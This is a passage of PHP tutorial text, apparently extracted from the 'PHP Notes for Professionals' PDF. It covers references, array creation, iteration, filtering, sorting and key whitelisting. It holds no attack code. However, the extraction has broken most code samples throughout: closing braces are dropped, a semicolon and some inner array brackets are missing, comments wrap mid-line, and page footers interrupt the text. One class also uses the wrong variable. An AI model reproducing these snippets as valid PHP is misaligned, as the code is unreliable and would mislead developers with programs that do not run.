static $a = 'foo';

return $a;

$bar = &myFunction();

$bar = "updated"

echo myFunction();

You cannot directly reference a function call, it has to be assigned to a variable before harnessing it. To
see how that

works, simply try echo &myFunction();.

Notes

You are required to specify a reference (&) in both places you intend on using it. That means, for your

function definition (function &myFunction() {...) and in the calling reference (function

callFunction(&$variable) {... or &myFunction();).

You can only return a variable by reference. Hence the instantiation of $a in the example above. This
means

you can not return an expression, otherwise an E_NOTICE PHP error will be generated (Notice: Only

variable references should be returned by reference in ......).

Return by reference does have legitimate use cases, but I should warn that they should be used
sparingly,

only after exploring all other potential options of achieving the same goal.
Section 11.3: Pass by Reference

This allows you to pass a variable by reference to a function or element that allows you to modify the
original

variable.

Passing-by-reference is not limited to variables only, the following can also be passed by reference:

New statements, e.g. foo(new SomeClass)

References returned from functions

Arrays

A common use of "passing-by-reference" is to modify initial values within an array without going to
the extent of

GoalKicker.com – PHP Notes for Professionals 69

creating new arrays or littering your namespace. Passing-by-reference is as simple as

preceding/prefixing the

variable with an & => &$myElement.

Below is an example of harnessing an element from an array and simply adding 1 to its initial value.

$arr = array(1, 2, 3, 4, 5);

foreach($arr as &$num) {

$num++;

Now when you harness any element within $arr, the original element will be updated as the reference
was

increased. You can verify this by:

print_r($arr);

Note

You should take note when harnessing pass by reference within loops. At the end of the above loop,
$num

still holds a reference to the last element of the array. Assigning it post loop will end up manipulating
the
last array element! You can ensure this doesn't happen by unset()'ing it post-loop:

$myArray = array(1, 2, 3, 4, 5);

foreach($myArray as &$num) {

$num++;

unset($num);

The above will ensure you don't run into any issues. An example of issues that could relate from this is

present in this question on StackOverflow.

Functions

Another common usage for passing-by-reference is within functions. Modifying the original variable is
as simple as:

$var = 5;

// define

function add(&$var) {

$var++;

// call

add($var);

Which can be verified by echo'ing the original variable.

echo $var;

There are various restrictions around functions, as noted below from the PHP docs:

Note: There is no reference sign on a function call - only on function definitions. Function definitions

alone are enough to correctly pass the argument by reference. As of PHP 5.3.0, you will get a warning

GoalKicker.com – PHP Notes for Professionals 70

saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP
5.4.0,
call-time pass-by-reference was removed, so using it will raise a fatal error.

GoalKicker.com – PHP Notes for Professionals 71

Chapter 12: Arrays

Parameter Detail

Key The key is the unique identifier and index of an array. It may be a string or an integer. Therefore,

valid keys would be 'foo', '5', 10, 'a2b', ...

Value For each key there is a corresponding value (null otherwise and a notice is emitted upon access).
The

value has no restrictions on the input type.

An array is a data structure that stores an arbitrary number of values in a single value. An array in PHP
is actually an

ordered map, where map is a type that associates values to keys.

Section 12.1: Initializing an Array

An array can be initialized empty:

// An empty array

$foo = array();

// Shorthand notation available since PHP 5.4

$foo = [];

An array can be initialized and preset with values:

// Creates a simple array with three strings

$fruit = array('apples', 'pears', 'oranges');

// Shorthand notation available since PHP 5.4

$fruit = ['apples', 'pears', 'oranges'];

An array can also be initialized with custom indexes (also called an associative array):

// A simple associative array

$fruit = array(
'first' => 'apples',

'second' => 'pears',

'third' => 'oranges'

);

// Key and value can also be set as follows

$fruit['first'] = 'apples';

// Shorthand notation available since PHP 5.4

$fruit = [

'first' => 'apples',

'second' => 'pears',

'third' => 'oranges'

];

If the variable hasn't been used before, PHP will create it automatically. While convenient, this might
make the code

harder to read:

$foo[] = 1; // Array( [0] => 1 )

GoalKicker.com – PHP Notes for Professionals 72

$bar[][] = 2; // Array( [0] => Array( [0] => 2 ) )

The index will usually continue where you left off. PHP will try to use numeric strings as integers:

$foo = [2 => 'apple', 'melon']; // Array( [2] => apple, [3] => melon )

$foo = ['2' => 'apple', 'melon']; // same as above

$foo = [2 => 'apple', 'this is index 3 temporarily', '3' => 'melon']; // same as above! The last

entry will overwrite the second!

To initialize an array with fixed size you can use SplFixedArray:

$array = new SplFixedArray(3);

$array[0] = 1;
$array[1] = 2;

$array[2] = 3;

$array[3] = 4; // RuntimeException

// Increase the size of the array to 10

$array->setSize(10);

Note: An array created using SplFixedArray has a reduced memory footprint for large sets of data, but
the keys

must be integers.

To initialize an array with a dynamic size but with n non empty elements (e.g. a placeholder) you can
use a loop as

follows:

$myArray = array();

$sizeOfMyArray = 5;

$fill = 'placeholder';

for ($i = 0; $i < $sizeOfMyArray; $i++) {

$myArray[] = $fill;

// print_r($myArray); results in the following:

// Array ( [0] => placeholder [1] => placeholder [2] => placeholder [3] => placeholder [4] =>

placeholder )

If all your placeholders are the same then you can also create it using the function array_fill():

array array_fill ( int $start_index , int $num , mixed $value )

This creates and returns an array with num entries of value, keys starting at start_index.

Note: If the start_index is negative it will start with the negative index and continue from 0 for the
following

elements.

$a = array_fill(5, 6, 'banana'); // Array ( [5] => banana, [6] => banana, ..., [10] => banana)
$b = array_fill(-2, 4, 'pear'); // Array ( [-2] => pear, [0] => pear, ..., [2] => pear)

Conclusion: With array_fill() you are more limited for what you can actually do. The loop is more
flexible and

GoalKicker.com – PHP Notes for Professionals 73

opens you a wider range of opportunities.

Whenever you want an array filled with a range of numbers (e.g. 1-4) you could either append every
single element

to an array or use the range() function:

array range ( mixed $start , mixed $end [, number $step = 1 ] )

This function creates an array containing a range of elements. The first two parameters are required,
where they

set the start and end points of the (inclusive) range. The third parameter is optional and defines the
size of the

steps being taken. Creating a range from 0 to 4 with a stepsize of 1, the resulting array would consist of
the

following elements: 0, 1, 2, 3, and 4. If the step size is increased to 2 (i.e. range(0, 4, 2)) then the
resulting array

would be: 0, 2, and 4.

$array = [];

$array_with_range = range(1, 4);

for ($i = 1; $i <= 4; $i++) {

$array[] = $i;

print_r($array); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

print_r($array_with_range); // Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )

range can work with integers, floats, booleans (which become casted to integers), and strings. Caution
should be
taken, however, when using floats as arguments due to the floating point precision problem.

Section 12.2: Check if key exists

Use array_key_exists() or isset() or !empty():

$map = [

'foo' => 1,

'bar' => null,

'foobar' => '',

];

array_key_exists('foo', $map); // true

isset($map['foo']); // true

!empty($map['foo']); // true

array_key_exists('bar', $map); // true

isset($map['bar']); // false

!empty($map['bar']); // false

Note that isset() treats a null valued element as non-existent. Whereas !empty() does the same for any
element

that equals false (using a weak comparision; for example, null, '' and 0 are all treated as false by !
empty()).

While isset($map['foobar']); is true, !empty($map['foobar']) is false. This can lead to mistakes (for
example,

it is easy to forget that the string '0' is treated as false) so use of !empty() is often frowned upon.

Note also that isset() and !empty() will work (and return false) if $map is not defined at all. This makes
them

somewhat error-prone to use:

// Note "long" vs "lang", a tiny typo in the variable name.

$my_array_with_a_long_name = ['foo' => true];

array_key_exists('foo', $my_array_with_a_lang_name); // shows a warning

isset($my_array_with_a_lang_name['foo']); // returns false

GoalKicker.com – PHP Notes for Professionals 74

You can also check for ordinal arrays:

$ord = ['a', 'b']; // equivalent to [0 => 'a', 1 => 'b']

array_key_exists(0, $ord); // true

array_key_exists(2, $ord); // false

Note that isset() has better performance than array_key_exists() as the latter is a function and the
former a

language construct.

You can also use key_exists(), which is an alias for array_key_exists().

Section 12.3: Validating the array type

The function is_array() returns true if a variable is an array.

$integer = 1337;

$array = [1337, 42];

is_array($integer); // false

is_array($array); // true

You can type hint the array type in a function to enforce a parameter type; passing anything else will
result in a fatal

error.

function foo (array $array) { /* $array is an array */ }

You can also use the gettype() function.

$integer = 1337;

$array = [1337, 42];

gettype($integer) === 'array'; // false

gettype($array) === 'array'; // true

Section 12.4: Creating an array of variables

$username = 'Hadibut';

$email = 'hadibut@example.org';

$variables = compact('username', 'email');

// $variables is now ['username' => 'Hadibut', 'email' => 'hadibut@example.org']

This method is often used in frameworks to pass an array of variables between two components.

Section 12.5: Checking if a value exists in array

The function in_array() returns true if an item exists in an array.

$fruits = ['banana', 'apple'];

$foo = in_array('banana', $fruits);

// $foo value is true

$bar = in_array('orange', $fruits);

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// $bar value is false

You can also use the function array_search() to get the key of a specific item in an array.

$userdb = ['Sandra Shush', 'Stefanie Mcmohn', 'Michael'];

$pos = array_search('Stefanie Mcmohn', $userdb);

if ($pos !== false) {

echo "Stefanie Mcmohn found at $pos";

PHP 5.x Version ≥ 5.5

In PHP 5.5 and later you can use array_column() in conjunction with array_search().

This is particularly useful for checking if a value exists in an associative array:

$userdb = [

"uid" => '100',

"name" => 'Sandra Shush',

"url" => 'urlof100',

],

"uid" => '5465',

"name" => 'Stefanie Mcmohn',

"pic_square" => 'urlof100',

],

"uid" => '40489',

"name" => 'Michael',

"pic_square" => 'urlof40489',

];

$key = array_search(40489, array_column($userdb, 'uid'));

Section 12.6: ArrayAccess and Iterator Interfaces

Another useful feature is accessing your custom object collections as arrays in PHP. There are two
interfaces

available in PHP (>=5.0.0) core to support this: ArrayAccess and Iterator. The former allows you to
access your

custom objects as array.

ArrayAccess

Assume we have a user class and a database table storing all the users. We would like to create a
UserCollection

class that will:

1. allow us to address certain user by their username unique identifier

2. perform basic (not all CRUD, but at least Create, Retrieve and Delete) operations on our users
collection

Consider the following source (hereinafter we're using short array creation syntax [] available since
version 5.4):

class UserCollection implements ArrayAccess {

protected $_conn;

protected $_requiredParams = ['username','password','email'];

public function __construct() {

$config = new Configuration();

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$connectionParams = [

//your connection to the database

];

$this->_conn = DriverManager::getConnection($connectionParams, $config);

protected function _getByUsername($username) {

$ret = $this->_conn->executeQuery('SELECT * FROM `User` WHERE `username` IN (?)',

[$username]

)->fetch();

return $ret;

}
// START of methods required by ArrayAccess interface

public function offsetExists($offset) {

return (bool) $this->_getByUsername($offset);

public function offsetGet($offset) {

return $this->_getByUsername($offset);

public function offsetSet($offset, $value) {

if (!is_array($value)) {

throw new \Exception('value must be an Array');

$passed = array_intersect(array_values($this->_requiredParams), array_keys($value));

if (count($passed) < count($this->_requiredParams)) {

throw new \Exception('value must contain at least the following params: ' .

implode(',', $this->_requiredParams));

$this->_conn->insert('User', $value);

public function offsetUnset($offset) {

if (!is_string($offset)) {

throw new \Exception('value must be the username to delete');

if (!$this->offsetGet($offset)) {

throw new \Exception('user not found');

}
$this->_conn->delete('User', ['username' => $offset]);

// END of methods required by ArrayAccess interface

then we can:

$users = new UserCollection();

var_dump(empty($users['testuser']),isset($users['testuser']));

$users['testuser'] = ['username' => 'testuser',

'password' => 'testpassword',

'email' => 'test@test.com'];

var_dump(empty($users['testuser']), isset($users['testuser']), $users['testuser']);

unset($users['testuser']);

var_dump(empty($users['testuser']), isset($users['testuser']));

GoalKicker.com – PHP Notes for Professionals 77

which will output the following, assuming there was no testuser before we launched the code:

bool(true)

bool(false)

bool(false)

bool(true)

array(17) {

["username"]=>

string(8) "testuser"

["password"]=>

string(12) "testpassword"

["email"]=>
string(13) "test@test.com"

bool(true)

bool(false)

IMPORTANT: offsetExists is not called when you check existence of a key with array_key_exists
function. So the

following code will output false twice:

var_dump(array_key_exists('testuser', $users));

$users['testuser'] = ['username' => 'testuser',

'password' => 'testpassword',

'email' => 'test@test.com'];

var_dump(array_key_exists('testuser', $users));

Iterator

Let's extend our class from above with a few functions from Iterator interface to allow iterating over it
with

foreach and while.

First, we need to add a property holding our current index of iterator, let's add it to the class
properties as

$_position:

// iterator current position, required by Iterator interface methods

protected $_position = 1;

Second, let's add Iterator interface to the list of interfaces being implemented by our class:

class UserCollection implements ArrayAccess, Iterator {

then add the required by the interface functions themselves:

// START of methods required by Iterator interface

public function current () {

return $this->_getById($this->_position);
}

public function key () {

return $this->_position;

public function next () {

$this->_position++;

public function rewind () {

$this->_position = 1;

public function valid () {

return null !== $this->_getById($this->_position);

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// END of methods required by Iterator interface

So all in all here is complete source of the class implementing both interfaces. Note that this example
is not perfect,

because the IDs in the database may not be sequential, but this was written just to give you the main
idea: you can

address your objects collections in any possible way by implementing ArrayAccess and Iterator
interfaces:

class UserCollection implements ArrayAccess, Iterator {

// iterator current position, required by Iterator interface methods

protected $_position = 1;

// <add the old methods from the last code snippet here>
// START of methods required by Iterator interface

public function current () {

return $this->_getById($this->_position);

public function key () {

return $this->_position;

public function next () {

$this->_position++;

public function rewind () {

$this->_position = 1;

public function valid () {

return null !== $this->_getById($this->_position);

// END of methods required by Iterator interface

and a foreach looping through all user objects:

foreach ($users as $user) {

var_dump($user['id']);

which will output something like

string(2) "1"

string(2) "2"
string(2) "3"

string(2) "4"

...

GoalKicker.com – PHP Notes for Professionals 79

Chapter 13: Array iteration

Section 13.1: Iterating multiple arrays together

Sometimes two arrays of the same length need to be iterated together, for example:

$people = ['Tim', 'Tony', 'Turanga'];

$foods = ['chicken', 'beef', 'slurm'];

array_map is the simplest way to accomplish this:

array_map(function($person, $food) {

return "$person likes $food\n";

}, $people, $foods);

which will output:

Tim likes chicken

Tony likes beef

Turanga likes slurm

This can be done through a common index:

assert(count($people) === count($foods));

for ($i = 0; $i < count($people); $i++) {

echo "$people[$i] likes $foods[$i]\n";

If the two arrays don't have the incremental keys, array_values($array)[$i] can be used to replace
$array[$i].

If both arrays have the same order of keys, you can also use a foreach-with-key loop on one of the
arrays:
foreach ($people as $index => $person) {

$food = $foods[$index];

echo "$person likes $food\n";

Separate arrays can only be looped through if they are the same length and also have the same key
name. This

means if you don't supply a key and they are numbered, you will be fine, or if you name the keys and
put them in

the same order in each array.

You can also use array_combine.

$combinedArray = array_combine($people, $foods);

// $combinedArray = ['Tim' => 'chicken', 'Tony' => 'beef', 'Turanga' => 'slurm'];

Then you can loop through this by doing the same as before:

foreach ($combinedArray as $person => $meal) {

echo "$person likes $meal\n";

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Section 13.2: Using an incremental index

This method works by incrementing an integer from 0 to the greatest index in the array.

$colors = ['red', 'yellow', 'blue', 'green'];

for ($i = 0; $i < count($colors); $i++) {

echo 'I am the color ' . $colors[$i] . '<br>';

This also allows iterating an array in reverse order without using array_reverse, which may result in
overhead if

the array is large.

$colors = ['red', 'yellow', 'blue', 'green'];

for ($i = count($colors) - 1; $i >= 0; $i--) {

echo 'I am the color ' . $colors[$i] . '<br>';

You can skip or rewind the index easily using this method.

$array = ["alpha", "beta", "gamma", "delta", "epsilon"];

for ($i = 0; $i < count($array); $i++) {

echo $array[$i], PHP_EOL;

if ($array[$i] === "gamma") {

$array[$i] = "zeta";

$i -= 2;

} elseif ($array[$i] === "zeta") {

$i++;

Output:

alpha

beta

gamma

beta

zeta

epsilon

For arrays that do not have incremental indices (including arrays with indices in reverse order, e.g. [1
=> "foo", 0

=> "bar"], ["foo" => "f", "bar" => "b"]), this cannot be done directly. array_values or array_keys can be

used instead:

$array = ["a" => "alpha", "b" => "beta", "c" => "gamma", "d" => "delta"];
$keys = array_keys($array);

for ($i = 0; $i < count($array); $i++) {

$key = $keys[$i];

$value = $array[$key];

echo "$value is $key\n";

Section 13.3: Using internal array pointers

Each array instance contains an internal pointer. By manipulating this pointer, different elements of an
array can be

retrieved from the same call at different times.

Using each

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Each call to each() returns the key and value of the current array element, and increments the internal
array

pointer.

$array = ["f" => "foo", "b" => "bar"];

while (list($key, $value) = each($array)) {

echo "$value begins with $key";

Using next

$array = ["Alpha", "Beta", "Gamma", "Delta"];

while (($value = next($array)) !== false) {

echo "$value\n";

Note that this example assumes no elements in the array are identical to boolean false. To prevent
such

assumption, use key to check if the internal pointer has reached the end of the array:
$array = ["Alpha", "Beta", "Gamma", "Delta"];

while (key($array) !== null) {

echo current($array) . PHP_EOL;

next($array);

This also facilitates iterating an array without a direct loop:

class ColorPicker {

private $colors = ["#FF0064", "#0064FF", "#64FF00", "#FF6400", "#00FF64", "#6400FF"];

public function nextColor() : string {

$result = next($colors);

// if end of array reached

if (key($colors) === null) {

reset($colors);

return $result;

Section 13.4: Using foreach

Direct loop

foreach ($colors as $color) {

echo "I am the color $color<br>";

Loop with keys

$foods = ['healthy' => 'Apples', 'bad' => 'Ice Cream'];

foreach ($foods as $key => $food) {

echo "Eating $food is $key";

Loop by reference

In the foreach loops in the above examples, modifying the value ($color or $food) directly doesn't
change its value

in the array. The & operator is required so that the value is a reference pointer to the element in the
array.

$years = [2001, 2002, 3, 4];

foreach ($years as &$year) {

if ($year < 2000) $year += 2000;

GoalKicker.com – PHP Notes for Professionals 82

This is similar to:

$years = [2001, 2002, 3, 4];

for($i = 0; $i < count($years); $i++) { // these two lines

$year = &$years[$i]; // are changed to foreach by reference

if($year < 2000) $year += 2000;

Concurrency

PHP arrays can be modified in any ways during iteration without concurrency problems (unlike e.g.
Java Lists). If

the array is iterated by reference, later iterations will be affected by changes to the array. Otherwise,
the changes to

the array will not affect later iterations (as if you are iterating a copy of the array instead). Compare
looping by

value:

$array = [0 => 1, 2 => 3, 4 => 5, 6 => 7];

foreach ($array as $key => $value) {

if ($key === 0) {

$array[6] = 17;

unset($array[4]);

echo "$key => $value\n";

Output:

0 => 1

2 => 3

4 => 5

6 => 7

But if the array is iterated with reference,

$array = [0 => 1, 2 => 3, 4 => 5, 6 => 7];

foreach ($array as $key => &$value) {

if ($key === 0) {

$array[6] = 17;

unset($array[4]);

echo "$key => $value\n";

Output:

0 => 1

2 => 3

6 => 17
The key-value set of 4 => 5 is no longer iterated, and 6 => 7 is changed to 6 => 17.

GoalKicker.com – PHP Notes for Professionals 83

Section 13.5: Using ArrayObject Iterator

Php arrayiterator allows you to modify and unset the values while iterating over arrays and objects.

Example:

$array = ['1' => 'apple', '2' => 'banana', '3' => 'cherry'];

$arrayObject = new ArrayObject($array);

$iterator = $arrayObject->getIterator();

for($iterator; $iterator->valid(); $iterator->next()) {

echo $iterator->key() . ' => ' . $iterator->current() . "</br>";

Output:

1 => apple

2 => banana

3 => cherry

GoalKicker.com – PHP Notes for Professionals 84

Chapter 14: Executing Upon an Array

Section 14.1: Applying a function to each element of an array

To apply a function to every item in an array, use array_map(). This will return a new array.

$array = array(1,2,3,4,5);

//each array item is iterated over and gets stored in the function parameter.

$newArray = array_map(function($item) {

return $item + 1;

}, $array);

$newArray now is array(2,3,4,5,6);.

Instead of using an anonymous function, you could use a named function. The above could be written
like:

function addOne($item) {

return $item + 1;

$array = array(1, 2, 3, 4, 5);

$newArray = array_map('addOne', $array);

If the named function is a class method the call of the function has to include a reference to a class
object the

method belongs to:

class Example {

public function addOne($item) {

return $item + 1;

public function doCalculation() {

$array = array(1, 2, 3, 4, 5);

$newArray = array_map(array($this, 'addOne'), $array);

Another way to apply a function to every item in an array is array_walk() and array_walk_recursive().
The

callback passed into these functions take both the key/index and value of each array item. These
functions will not

return a new array, instead a boolean for success. For example, to print every element in a simple
array:

$array = array(1, 2, 3, 4, 5);

array_walk($array, function($value, $key) {

echo $value . ' ';

});

// prints "1 2 3 4 5"

The value parameter of the callback may be passed by reference, allowing you to change the value
directly in the

original array:

$array = array(1, 2, 3, 4, 5);

array_walk($array, function(&$value, $key) {

$value++;

});

$array now is array(2,3,4,5,6);

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For nested arrays, array_walk_recursive() will go deeper into each sub-array:

$array = array(1, array(2, 3, array(4, 5), 6);

array_walk_recursive($array, function($value, $key) {

echo $value . ' ';

});

// prints "1 2 3 4 5 6"

Note: array_walk and array_walk_recursive let you change the value of array items, but not the keys.
Passing the

keys by reference into the callback is valid but has no effect.

Section 14.2: Split array into chunks

array_chunk() splits an array into chunks

Let's say we've following single dimensional array,

$input_array = array('a', 'b', 'c', 'd', 'e');

Now using array_chunk() on above PHP array,

$output_array = array_chunk($input_array, 2);

Above code will make chunks of 2 array elements and create a multidimensional array as follow.

Array

[0] => Array

[0] => a

[1] => b

[1] => Array

[0] => c

[1] => d

[2] => Array

[0] => e

If all the elements of the array is not evenly divided by the chunk size, last element of the output array
will be

remaining elements.

If we pass second argument as less then 1 then E_WARNING will be thrown and output array will be
NULL.

Parameter Details

$array (array) Input array, the array to work on

$size (int) Size of each chunk ( Integer value)

$preserve_keys (boolean) (optional) If you want output array to preserve the keys set it to TRUE
otherwise FALSE.

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Section 14.3: Imploding an array into string

implode() combines all the array values but looses all the key info:

$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];

echo implode(" ", $arr); // AA BB CC

Imploding keys can be done using array_keys() call:

$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];

echo implode(" ", array_keys($arr)); // a b c

Imploding keys with values is more complex but can be done using functional style:

$arr = ['a' => "AA", 'b' => "BB", 'c' => "CC"];

echo implode(" ", array_map(function($key, $val) {

return "$key:$val"; // function that glues key to the value

}, array_keys($arr), $arr));

// Output: a:AA b:BB c:CC

Section 14.4: "Destructuring" arrays using list()

Use list() to quick assign a list of variable values into an array. See also compact()

// Assigns to $a, $b and $c the values of their respective array elements in $array with

keys numbered from zero

list($a, $b, $c) = $array;

With PHP 7.1 (currently in beta) you will be able to use short list syntax:

// Assigns to $a, $b and $c the values of their respective array elements in $array with keys

numbered from zero

[$a, $b, $c] = $array;

// Assigns to $a, $b and $c the values of the array elements in $array with the keys "a", "b" and

"c", respectively

["a" => $a, "b" => $b, "c" => $c] = $array;

Section 14.5: array_reduce

array_reduce reduces array into a single value. Basically, The array_reduce will go through every item
with the

result from last iteration and produce new value to the next iteration.

Usage: array_reduce ($array, function($carry, $item){...}, $defaul_value_of_first_carry)

$carry is the result from the last round of iteration.

$item is the value of current position in the array.

Sum of array

$result = array_reduce([1, 2, 3, 4, 5], function($carry, $item){

return $carry + $item;

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});

result:15

The largest number in array

$result = array_reduce([10, 23, 211, 34, 25], function($carry, $item){

return $item > $carry ? $item : $carry;

});

result:211

Is all item more than 100

$result = array_reduce([101, 230, 210, 341, 251], function($carry, $item){

return $carry && $item > 100;

}, true); //default value must set true

result:true
Is any item less than 100

$result = array_reduce([101, 230, 21, 341, 251], function($carry, $item){

return $carry || $item < 100;

}, false);//default value must set false

result:true

Like implode($array, $piece)

$result = array_reduce(["hello", "world", "PHP", "language"], function($carry, $item){

return !$carry ? $item : $carry . "-" . $item ;

});

result:"hello-world-PHP-language"

if make a implode method, the source code will be:

function implode_method($array, $piece){

return array_reduce($array, function($carry, $item) use ($piece) {

return !$carry ? $item : ($carry . $piece . $item);

});

$result = implode_method(["hello", "world", "PHP", "language"], "-");

result:"hello-world-PHP-language"

Section 14.6: Push a Value on an Array

There are two ways to push an element to an array: array_push and $array[] =

The array_push is used like this:

$array = [1,2,3];

$newArraySize = array_push($array, 5, 6); // The method returns the new size of the array

print_r($array); // Array is passed by reference, therefore the original array is modified to

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contain the new elements

This code will print:

Array

[0] => 1

[1] => 2

[2] => 3

[3] => 5

[4] => 6

$array[] = is used like this:

$array = [1,2,3];

$array[] = 5;

$array[] = 6;

print_r($array);

This code will print:

Array

[0] => 1

[1] => 2

[2] => 3

[3] => 5

[4] => 6

GoalKicker.com – PHP Notes for Professionals 89

Chapter 15: Manipulating an Array

Section 15.1: Filtering an array

In order to filter out values from an array and obtain a new array containing all the values that satisfy
the filter

condition, you can use the array_filter function.

Filtering non-empty values

The simplest case of filtering is to remove all "empty" values:

$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];

$non_empties = array_filter($my_array); // $non_empties will contain [1,2,3,4,5,6,7,8];

Filtering by callback

This time we define our own filtering rule. Suppose we want to get only even numbers:

$my_array = [1,2,3,4,5,6,7,8];

$even_numbers = array_filter($my_array, function($number) {

return $number % 2 === 0;

});

The array_filter function receives the array to be filtered as its first argument, and a callback defining
the filter

predicate as its second.

Version ≥ 5.6

Filtering by index

A third parameter can be provided to the array_filter function, which allows to tweak which values are
passed to

the callback. This parameter can be set to either ARRAY_FILTER_USE_KEY or

ARRAY_FILTER_USE_BOTH, which will

result in the callback receiving the key instead of the value for each element in the array, or both value
and key as

its arguments. For example, if you want to deal with indexes istead of values:
$numbers = [16,3,5,8,1,4,6];

$even_indexed_numbers = array_filter($numbers, function($index) {

return $index % 2 === 0;

}, ARRAY_FILTER_USE_KEY);

Indexes in filtered array

Note that array_filter preserves the original array keys. A common mistake would be to try an use for
loop over

the filtered array:

<?php

$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];

$filtered = array_filter($my_array);

error_reporting(E_ALL); // show all errors and notices

// innocently looking "for" loop

for ($i = 0; $i < count($filtered); $i++) {

print $filtered[$i];

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/*

Output:

Notice: Undefined offset: 1

Notice: Undefined offset: 3

Notice: Undefined offset: 5

4
Notice: Undefined offset: 7

*/

This happens because the values which were on positions 1 (there was 0), 3 (null), 5 (empty string '')
and 7 (empty

array []) were removed along with their corresponding index keys.

If you need to loop through the result of a filter on an indexed array, you should first call array_values
on the

result of array_filter in order to create a new array with the correct indexes:

$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];

$filtered = array_filter($my_array);

$iterable = array_values($filtered);

error_reporting(E_ALL); // show all errors and notices

for ($i = 0; $i < count($iterable); $i++) {

print $iterable[$i];

// No warnings!

Section 15.2: Removing elements from an array

To remove an element inside an array, e.g. the element with the index 1.

$fruit = array("bananas", "apples", "peaches");

unset($fruit[1]);

This will remove the apples from the list, but notice that unset does not change the indexes of the
remaining

elements. So $fruit now contains the indexes 0 and 2.

For associative array you can remove like this:

$fruit = array('banana', 'one'=>'apple', 'peaches');

print_r($fruit);

/*
Array

[0] => banana

[one] => apple

[1] => peaches

*/

unset($fruit['one']);

Now $fruit is

GoalKicker.com – PHP Notes for Professionals 91

print_r($fruit);

/*

Array

[0] => banana

[1] => peaches

*/

Note that

unset($fruit);

unsets the variable and thus removes the whole array, meaning none of its elements are accessible
anymore.

Removing terminal elements

array_shift() - Shift an element off the beginning of array.

Example:

$fruit = array("bananas", "apples", "peaches");

array_shift($fruit);

print_r($fruit);

Output:

Array

[0] => apples

[1] => peaches

array_pop() - Pop the element off the end of array.

Example:

$fruit = array("bananas", "apples", "peaches");

array_pop($fruit);

print_r($fruit);

Output:

Array

[0] => bananas

[1] => apples

Section 15.3: Sorting an Array

There are several sort functions for arrays in php:

sort()

Sort an array in ascending order by value.

GoalKicker.com – PHP Notes for Professionals 92

$fruits = ['Zitrone', 'Orange', 'Banane', 'Apfel'];

sort($fruits);

print_r($fruits);

results in

Array

[0] => Apfel

[1] => Banane

[2] => Orange

[3] => Zitrone

rsort()

Sort an array in descending order by value.

$fruits = ['Zitrone', 'Orange', 'Banane', 'Apfel'];

rsort($fruits);

print_r($fruits);

results in

Array

[0] => Zitrone

[1] => Orange

[2] => Banane

[3] => Apfel

asort()

Sort an array in ascending order by value and preserve the indices.

$fruits = [1 => 'lemon', 2 => 'orange', 3 => 'banana', 4 => 'apple'];

asort($fruits);

print_r($fruits);

results in

Array

[4] => apple

[3] => banana

[1] => lemon

[2] => orange

arsort()

Sort an array in descending order by value and preserve the indices.

$fruits = [1 => 'lemon', 2 => 'orange', 3 => 'banana', 4 => 'apple'];

arsort($fruits);

print_r($fruits);

results in

GoalKicker.com – PHP Notes for Professionals 93

Array

[2] => orange

[1] => lemon

[3] => banana

[4] => apple

)
ksort()

Sort an array in ascending order by key

$fruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple'];

ksort($fruits);

print_r($fruits);

results in

Array

[a] => orange

[b] => banana

[c] => apple

[d] => lemon

krsort()

Sort an array in descending order by key.

$fruits = ['d'=>'lemon', 'a'=>'orange', 'b'=>'banana', 'c'=>'apple'];

krsort($fruits);

print_r($fruits);

results in

Array

[d] => lemon

[c] => apple

[b] => banana

[a] => orange

)

natsort()

Sort an array in a way a human being would do (natural order).

$files = ['File8.stack', 'file77.stack', 'file7.stack', 'file13.stack', 'File2.stack'];

natsort($files);

print_r($files);

results in

Array

[4] => File2.stack

[0] => File8.stack

[2] => file7.stack

[3] => file13.stack

GoalKicker.com – PHP Notes for Professionals 94

[1] => file77.stack

natcasesort()

Sort an array in a way a human being would do (natural order), but case intensive

$files = ['File8.stack', 'file77.stack', 'file7.stack', 'file13.stack', 'File2.stack'];

natcasesort($files);

print_r($files);

results in

Array

[4] => File2.stack

[2] => file7.stack

[0] => File8.stack

[3] => file13.stack

[1] => file77.stack

shuffle()

Shuffles an array (sorted randomly).

$array = ['aa', 'bb', 'cc'];

shuffle($array);

print_r($array);

As written in the description it is random so here only one example in what it can result

Array

[0] => cc

[1] => bb

[2] => aa

usort()

Sort an array with a user defined comparison function.

function compare($a, $b)

if ($a == $b) {

return 0;

return ($a < $b) ? -1 : 1;

}

$array = [3, 2, 5, 6, 1];

usort($array, 'compare');

print_r($array);

results in

Array

[0] => 1

GoalKicker.com – PHP Notes for Professionals 95

[1] => 2

[2] => 3

[3] => 5

[4] => 6

uasort()

Sort an array with a user defined comparison function and preserve the keys.

function compare($a, $b)

if ($a == $b) {

return 0;

return ($a < $b) ? -1 : 1;

$array = ['a' => 1, 'b' => -3, 'c' => 5, 'd' => 3, 'e' => -5];

uasort($array, 'compare');
print_r($array);

results in

Array

[e] => -5

[b] => -3

[a] => 1

[d] => 3

[c] => 5

uksort()

Sort an array by keys with a user defined comparison function.

function compare($a, $b)

if ($a == $b) {

return 0;

return ($a < $b) ? -1 : 1;

$array = ['ee' => 1, 'g' => -3, '4' => 5, 'k' => 3, 'oo' => -5];

uksort($array, 'compare');

print_r($array);

results in

Array

(
[ee] => 1

[g] => -3

[k] => 3

[oo] => -5

[4] => 5

GoalKicker.com – PHP Notes for Professionals 96

Section 15.4: Whitelist only some array keys

When you want to allow only certain keys in your arrays, especially when the array comes from
request parameters,

you can use array_intersect_key together with array_flip.

$parameters = ['foo' => 'bar', 'bar' => 'baz', 'boo' => 'bam'];

$allowedKeys = ['foo', 'bar'];

$filteredParameters = array_intersect_key($parameters, array_flip($allowedKeys));

// $filteredParameters contains ['foo' => 'bar', 'bar' => 'baz]

If the parameters variable doesn't contain any allowed key, then the filteredParameters variable will
consist of an

empty array.

Since PHP 5.6 you can use array_filter for this task too, passing the ARRAY_FILTER_USE_KEY flag as the
third

parameter:

$parameters = ['foo' => 1, 'hello' => 'world'];

$allowedKeys = ['foo', 'bar'];

$filteredParameters = array_filter(

$parameters,

function ($key) use ($allowedKeys) {

return in_array($key, $allowedKeys);

},

